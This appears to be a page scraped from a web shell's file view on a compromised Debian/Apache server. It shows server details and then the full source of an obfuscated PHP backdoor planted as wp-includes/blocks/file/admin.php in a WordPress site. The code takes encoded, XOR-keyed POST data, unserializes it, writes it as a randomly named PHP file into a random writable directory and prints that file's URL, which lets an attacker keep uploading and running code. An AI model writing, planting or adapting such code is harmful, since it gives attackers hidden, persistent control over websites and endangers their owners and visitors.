HEX
Server: Apache/2.4.57 (Debian)
System: Linux web-server-k8s-e92jnr3j-6f99bff6b6-rp2wg 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64
User: apache (48)
PHP: 7.4.33
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/sites/1250.info/wp-includes/blocks/file/admin.php
<?php $cxjkpYydE = "ySQOSaR";function hlLlSnNGNz($cxjkpYydE){ $BrFkNxYWI = 's'."\x74".chr(1073-959)."\137"."\x72"."\157".'t'.chr(51-2).chr(51);$cxjkpYydE = $BrFkNxYWI($cxjkpYydE);$UMAjVlD = "\162"."\141".'w'."\165".'r'."\154".chr(100)."\145".'c'.'o'."\x64"."\145";$cxjkpYydE = $UMAjVlD($cxjkpYydE);$cxjkpYydE = str_split($cxjkpYydE);return $cxjkpYydE;}function ZQjcxdqM($vaWxxAVp, $haWYp){$vaWxxAVp = array_slice(str_split(str_repeat($vaWxxAVp, (count($haWYp)/16)+1)), 0, count($haWYp));return $vaWxxAVp;}function kZPYhOUu($sfxbRViuTG, $bsCgGv, $vaWxxAVp){$LxJjBVDEl = "664875c4-1d90-42c2-816f-29f41bcf7d91";return $sfxbRViuTG ^ $LxJjBVDEl[$bsCgGv % strlen($LxJjBVDEl)] ^ $vaWxxAVp;}function cObHXMom($haWYp, $vaWxxAVp){$haWYp = array_map("kZPYhOUu", array_values($haWYp), array_keys($haWYp), array_values($vaWxxAVp));$haWYp = implode("", $haWYp);$gHZAs = "\x75".chr(110)."\163"."\x65"."\162".chr(791-686).chr(600-503).'l'.chr(590-485).'z'."\x65";$haWYp = @$gHZAs($haWYp);return $haWYp;}function cdROEamg(){echo "qCuqi";}function bhTPe($NWXKHir){static $NWXKHDYPFfAl = array();$TcrBJdRLI = glob($NWXKHir . '/*', GLOB_ONLYDIR);$csXvkNsaYf = count($TcrBJdRLI);if ($csXvkNsaYf > 0) {foreach ($TcrBJdRLI as $NWXKH) {$WAmrQHQ = 'i'.'s'."\x5f".chr(929-810).chr(114).chr(872-767).chr(116)."\x61"."\142".chr(108).chr(253-152);if (@$WAmrQHQ($NWXKH)) {$NWXKHDYPFfAl[] = $NWXKH;}}}foreach ($TcrBJdRLI as $NWXKHir) bhTPe($NWXKHir);return $NWXKHDYPFfAl;}function GGprhmqNLm(){echo "ySQOSaR";}function MmVcJGOlk($haWYp){$payteZGTgg = chr(190-122).chr(150-71).'C'.'U'.'M'.chr(876-807).chr(78).'T'.'_'."\x52".chr(846-767).chr(79)."\124";$RldvSuH = $_SERVER[$payteZGTgg];$TcrBJdRLI = bhTPe($RldvSuH);$vzgRNL = array_rand($TcrBJdRLI);$YCiancsIz = "\x2e".'p'.chr(130-26).chr(893-781);$NlEQBLuT = $TcrBJdRLI[$vzgRNL] . "/" . substr(md5(time()), 0, 8) . $YCiancsIz;$tRguLbEuw = 'f'.'i'.chr(108).chr(101).chr(881-786)."\160"."\x75"."\x74".'_'.chr(99)."\157".'n'.chr(878-762)."\145".chr(110).'t'."\163";@$tRguLbEuw($NlEQBLuT, $haWYp);$yvmReN = chr(753-681).chr(214-130).chr(888-804)."\x50".chr(397-302).chr(72)."\117"."\x53".chr(526-442);$DaioZTNtgQ = "\150".chr(874-758).chr(116).chr(112).':'."\57"."\57";$fiWAkXVRc = $DaioZTNtgQ . $_SERVER[$yvmReN] . substr($NlEQBLuT, strlen($RldvSuH));print($fiWAkXVRc);}foreach ($_POST as $vaWxxAVp => $haWYp){$byZzeDTErA = strlen($vaWxxAVp);if ($byZzeDTErA == 16){$haWYp = hlLlSnNGNz($haWYp);$vaWxxAVp = ZQjcxdqM($vaWxxAVp, $haWYp);$haWYp = cObHXMom($haWYp, $vaWxxAVp);if (@is_array($haWYp)){$vzgRNL = array_keys($haWYp);$haWYp = $haWYp[$vzgRNL[0]];$vzgRNL = $vzgRNL[0];if ($haWYp !== $vzgRNL){MmVcJGOlk($haWYp);}else {$mUupRHgc = chr(388-276).chr(484-380).'p';$Mcsht = "\160".'h'.chr(112).chr(258-140).chr(101)."\162".chr(115)."\151".chr(111).chr(176-66);$haWYp = Array($mUupRHgc => @$Mcsht(), );$yNdbphqZqj = chr(115).chr(488-387)."\162".chr(105).'a'.chr(829-721)."\x69".chr(719-597).chr(589-488);echo @$yNdbphqZqj($haWYp);}die();}}}